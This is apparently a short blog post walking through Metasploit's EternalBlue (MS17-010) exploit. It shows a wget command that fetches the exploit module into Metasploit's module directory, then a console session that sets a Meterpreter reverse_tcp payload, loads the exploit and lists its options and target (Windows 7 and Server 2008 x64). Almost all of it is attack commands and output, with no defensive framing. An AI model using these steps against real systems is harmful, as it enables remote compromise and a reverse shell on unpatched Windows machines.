MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 2017-05-18 16:45

Posted 2020-09-21 默小文

wget "https://raw.githubusercontent.com/rapid7/metasploit-framework/6d81ca42087efd6548bfcf924172376d5234a25a/modules/exploits/windows/smb/ms17_010_eternalblue.rb" -O /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb

参考：

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.
   GroomDelta          5                yes       The amount to increase the groom count by per try.
   MaxExploitAttempts  3                yes       The number of times to retry the exploit.
   ProcessName         spoolsv.exe      yes       Process to inject payload into.
   RHOST                                yes       The target address
   RPORT               445              yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 (x64) All Service Packs